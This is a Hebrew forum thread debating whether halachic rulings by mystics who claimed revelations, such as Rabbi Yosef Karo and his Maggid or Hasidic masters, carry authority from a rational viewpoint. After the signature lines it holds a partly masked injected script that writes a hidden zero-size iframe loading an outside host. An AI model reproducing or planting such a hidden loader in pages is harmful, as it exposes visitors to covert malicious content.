מקומם של פוסקים ומורי דרך מיסטיים בשולשלת ההלכה מנקודת מבט רציונלית

ראשית כל חדש אנוכי בפורום זה. חיפשתי אחר כפתור הקסם לבקשת אישור לאשכול זה אך אין.

כאדם חושב שאינו מקבל אמונות כפי שהן אלא מנסה למצוא מי מהן נכונות ומי לאו. ישנה שאלה שמטרידה אותי רבות והיא:
מה מקומם בשולשלת ההלכה וההשקפה של אותם רבנים המעידים על עצמם נאמנה דברים שאינם מתקבלים על הדעת (בהדגשה שאין אלו סיפורי עם אלא עדויות שלהם או של תלמידיהם שגם להם כמובן יש מקום נכבד בפולקלור היהודי)

הייתי רוצה לחלק את הפוסקים ל3 קבוצות כלליות ביותר. (סלחו לי על החלוקה השטחית)
1 פוסקים רציונליסטים כדוגמת הרס"ג והרמב"ם.
2 פוסקים בעלי נטייה קבלית, אך כאלו שלא סיפרו על עצמם סיפורי ניסים. לדוגמה:הרמבן.
3 מקובלים, פוסקים המעידים נאמנה על ניסים והתגלויות. לדוגמה: הבית יוסף והמגיד (יש שיטענו לזיוף הספר על המגיד). והשולשלת החסידית לדורותיה.

והייתי מאוד מעוניין לדעת מה דעתכם בעניין זה. האם מותר לקבל הלכה ממי שהוא טוען שהיו לו התגלויות אם זה "המגיד" ל"בית יוסף" ואם זה אחיה השילוני לבעש"ט. מאחר ואם גילויים אלו לא מסתברים והאמת היא אחת ומחייב שהשקר בצידו אזי שיש פה בעיה של אמינות והייתי מוסיף עוד אך מפאת קדושת המקום אחסוך וכךאם הוכח שאינו נאמן ונמצא שקרן אזי, לי לכאורה נראה שיש בעיה לקבל פסיקתו ותורתו, ובמיוחד של תורת החסידות באם נטען שכל אלו התבססו על גילוי אחיה השילוני ועוד.

ברצוני להדגיש שאין אני מדבר בדברים שהגיון מוכיח שהוא פעל כשורה. אלא במקרים אפורים ושחורים שבהם נפסקת ההלכה בברור לצד הפוסקים הקבלים יותר. כגון אי לבישת תפילין בחול המועד.

מעניין אם בזמן שניכתבו פסקי ההלכה האלו או בעצם תרם נכתבו סביר להניח שתלמידיהם כבר החלו לבצעם קודם כתיבתם , וכיצד התפרסה ההלכה בשאר העם , הרי היה קושי מסויים בתפוצה של אותם פסקים במקום וזמן ביחס לתקופה ומיגבלותיה, ובאיזה שלב מאוחר יותר בעצם הגיעו לכלל העם אם בכלל או בעצם יצרו את הזרמים עצמם ביהדות.

בעלטש כתב –
באמת יהיה מעניין לשמוע איך כל המלומדים פה (אלה שומרי התו"מ) יתרצו את מחויבותם ההלכתית הבלתי מתפשרת לספר שנכתב ע"י אחד שהאמין בדברי מינות של ע"ז ג"ע וש"ד שנכתבו ע"י רשעים מחריבי ישראל. ולא עוד אלא שעסק בחכמה בזויה זו בעצמו וראה עצמו כמי שיש לו גילויים ח"ו וסיפר על המגיד שהיה לו וכתב דברי תורה מפיו.


המחוייבות ההלכתית אינה בגלל שפסק פלוני נכון (מהשמים הוכיחו כר"א ונפסק כחכמים) אלא בגלל שהפסק נכלל בקודקס המחייב.

בן עיירהישנה

ברוך הבא אל הפורום!

הנושא שהעלית הוא מעניין וחשוב ותמיד רציתי להתייחס בעצמי. תודה שחסכת לי עמל.

החלוקה הבסיסית שלך היא טובה, אך אולי יש להוסיף עליה. באיזו מידה משפיעה מערכת האמונות של הפוסק על פסיקתו, והאם זה בהכרח פסול. לשבח זה לא (כלומר תלוי באמונות) אבל האם זה גם גורע?

כאן ניתן לערוך רשימות של השפעות אפשריות ועוד לפני כן אמונות שונות שרווחו במהלך ההיסטוריה של המסורת שלנו.

האם יש לדחות פסקי הלכה של פוסקים שהאמינו בהשגחה פרטית או בהעדרה, בשכר ועונש בעולם הזה או בהעדרו (יש מחלוקת בגמרא), בהיכלות של מלאכים, שהארץ היא שטוחה והשמש מקיפה אותה?

האם יש לקבל או לדחות מתולדות ההלכה פוסקים שהאמינו בשדים ורוחות או שללו זאת? (נניח רבי יהודה החסיד עם אמונותיו בכישוף מהסוג שרווח בגרמניה בתקופתו - סיכום מצויין באנגלית של טרכטנברג וממש עכשו בשני הכרכים החדשים בתולדות הסוד של יוסף דן - מול הרמב"ם ששלל זאת מכל וכל?

ומי שהאמין שאדם וחוה וגם אברהם ושרה הם רק מטאפורות ועוד מטאפורות לעקרונות הפילוסופיה האריסטוטלית?

ומי שהאמין בקבלה?

***
נראה לי שאחד הדברים המהותיים כאן הוא שמערכת אמונות יכולה להכיל אמיתות וגם טעויות.

פוסק אמור להאמין שיש ה', שנתן תורה, שהיא הופקדה בידי חכמים, שתכניה הם (כך וכך). הוא אמור ללמוד שפע של חומר, ולהבין מתוכו כללי פסיקה. לפעמים הוא יספק פסיקה טכנית (להחיל פסקים ידועים או לדמות מילתא למילתא באופן "פשוט") ולפעמים עליו לחדש, ולכך צריך תנאים נוספים.

אם הוא מאמין בעוד דברים שיכולים להיות לא נכונים או סותרים, האם זה מעכב?

אישית הייתי רוצה לומר שמי שמאמין שיש דרך לדבר עם המתים בקברים ושמותר או מצוה להתפלל אליהם - אין להחשיבו בין הפוסקים.

אבל אולי ההגדרה שלי צרה מדי?

ומה עם פוסק שכותב בעצור חושבים?

גם את אלו וגם את אלו יש שידונו למעלוייתא (=שזה טוב) ויש להפך.

***
לכן נראה לי שצריך לבדוק מה הם העקרונות החוץ הלכתיים שהפוסק משתמש בהם בפסקיו.

דוגמאות:

האם הוא פוסק על פי מקורות ההלכה או על פי חלומות וגילויים שאינם ניתנים לבדיקה ב"מעבדת" ההלכה, כלומר בישיבה, עם עמיתיו לפסיקה (PEERS)?

האם הוא פוסק לפי התלמוד או לפי ספרים נוספים שאינם לחז"ל? וכאן עולה השאלה איך מכריעים איזה ספר "משלנו" ואיזה לא. האם ספר חנוך, חכמת שלמה, פרקי דר' אליעזר, ספר יצירה, "הבהיר", הזוהר, הם "לנו או לצרינו", ואולי יש בהם חומר כזה וחומר כזה?

האם הוא פוסק לפי שיקולים הלכתיים או לפי "לעשות נחת רוח לה' " על ידי תוספות? מהיכן לקוחות אלו? מתוך הדמיון (לדעתי) שיש הקבלה בין אברי האדם המשתתפים במצוה לבין "אברים רוחניים של הספירות"? לפי הנהגות? לפי חומרות?

דוגמא שחשובה בעיני (אבל לא חביבה עלי) היא המגן אברהם, שהכניס הרבה חומר זוהרי ואפשר שבקו העקרוני הזה כבר קדם לו הבית יוסף. האם יש לסמוך על פוסק כזה עקרונית? (שאלה לא עדינה כלל). האם יש לבדוק את דבריו ואם הם לקוחים במישרין מחומר כזה לא להתייחס, להרחיק? (יש מי שיראה בכך ביטוי הלכתי לגיטימי כמובן).

ומי שמפרש את ההלכה בכיוון של תנועת המוסר, של "חובות הלבבות", של רוזנצוויג, של האקזיסטנציאליזם, איך מתייחסים לנושא הזה?

נראה ששירטוט קוים מפרידים בין "מה שבפנים" ובין "מה שבחוץ" אינו קל, ואפילו מציאת הדוגמאות שהן מעבר לתחום האפור אינה קלה.

_נוספה הרחבה לאפשרויות של אמונות ששכחתי קודם. ________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

גילוי אליהו מסופר שכבר היה לחכמי התלמוד, אולי גם אותם תוציא מהמסגרת המחייבת ?! 
בביאור הגר"א על ספר יצירה ממש בתחילתו הוא מסביר שגילוי אליהו הוא השגה רוחנית כך שאין שום סיבה להאמין שכך היה באותם החכמים שהדבר נזכר בהם
השאלה היא בעיקר האם הם היו מודעים לכך או שהם חשבו שבאמת מדובר בכוח חיצוני שבא ממקום שאי אפשר להסביר אותו כמציאות שהיא חלק מתופעת הגוף והנפש
בעיקר העניין התפיסה של הקבלה כפי איך שהבנתי הוא שבאופן כללי המחשבה היא דבר שבא לאדם מהחוץ וכמו שמפורש בנביאים שנחה עליהם הרוח וההסבר בזה הוא שהמציאות כפתה עליהם את הנבואה ולא הם כפו את עצמם ורצונם על המציאות
והדבר הזה הוא לא רחוק כמו שכבר המקובלים שהיו מודעים לעצמם כדוגמת האר"י הגדירו את עצמם כלא פחות מנביאים אמנם הבית יוסף עצמו לא ידוע מבין אלה שהבינו את הנמשל ובכל זאת זה עניין של אוירה וגם אלו שמבינים פחות סומכים בעיקר ההבחנה שלהם על המבינים יותר שהם היוצרים של המושג ודי בכך שהמבינים הבינו בשביל שלא להפוך את העניין למקום שהוא חוץ לגבולות התורה [- אחד מקנייני התורה הוא אמונת חכמים וכנראה שהב"י זכה לזה ביותר]

לעצם השאלה כבר ענה לך תלמידטועה

לא מבין את השאלה של פותח האשכול עד שאתה שואל על פוסקים מיסטיים מאוחרים
תשאל על הפוסק הראשון משה רבינו שכולו מיסטיקה צרופה ודברים שיוצאים מגדר הטבע.
בכל התורה טוען שדבר ה' נגלה אליו ישירות יש לך יותר מיסטיקה מזה?

תלמיד טועה

ערבך ערב צריך. כלומר הסברך הסבר צריך. ואיך קודקס נהיה "מחייב"?

יש כאן כמובן מילכוד שמתאים יותר לאשכול החדש של ירוחם על "המקובל". מעגל קסמים. אבל בעצם ארחיב בו שם.

לגבי הנושא שלנו, הצעתי לעיל להבדיל בין פוסקים שאמונותיהם הנוספות היו גורם בשיקולי הפסיקה שלהם לאלו שהפרידו בין החיים האישיים, כולל חויות שניתן לכנותן מיסטיות, לבין הפסקים שלהם.

ורבלובסקי כתב ספר מעניין מאד לדעתי, שגם תורגם לעברית, על המגיד מישרים של הב"י. אני זוכר ממנו בעיקר את המשפט הבא, בניסוח שלי: צאו וראו את השליטה העצמית המופלאה של רבי יוסף קארו, שמצד אחד חוה חויות מיסטיות, כמו "דיבור אוטומטי", ומצד שני תיפקד בצורה מופתית הן כאדם בחברה והן כפוסק הממלא את השליחות החברתית של פוסק, ולא הניח לרשויות להתנגש זו בזו.

זה תוכן הדברים שאני זוכר. הניסוח של ורבלובסקי ודאי שונה.

יש לעיין כמובן אם הוא צודק. האם הרי"ק לא כלל, למשל בב"י, פסקים מהקבלה? האם לא נתן העדפה בעקבות הקבלה לשיטות כאלו או אחרות? האם יש ספציפית דמיון בין מה שמתועד ששמע מהמגיד שלו לבין פסקים שונים שכתב? נדמה לי שיש דוגמא מפורסמת למדי של פסק שהכריע בו ואחר כך המגיד הודיע לו שבשמים פסקו הלכה כמוהו.

ואיך תולדות ההלכה מסתדרות עם תופעות כאלו?

יש לנו כלל מנחה גדול שפוסל לכאורה תופעות כאלו. "לא בשמים היא". בפועל יש לפעמים חריגות. ראוי לנתחן.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

לדייר, 
ישנו הבדל גדול בין האישים שציינתי לבין האישים שאתה חותר לציין (משה והנביאים הבאים אחריו)

מאחר ואצל משה ההתגלות בסיני הייתה לעיני העם (לא אכנס לדיון האם היה מעמד סיני, זה רק למען ההפרדה)
ווכל העם יכל לשפוט על אמיתות ההתגלות. והנביאים אחריו הוחזקו כנביאי אמת רק באם נבואתם הטובה התקיימה
ו/או שנביא שקדם לו העיד עליו שהוא נביא אמת. וראה את הרמב"ם יסודי התורה ח,א בעניין סיבת קבלת הדברים שאמר משה.

"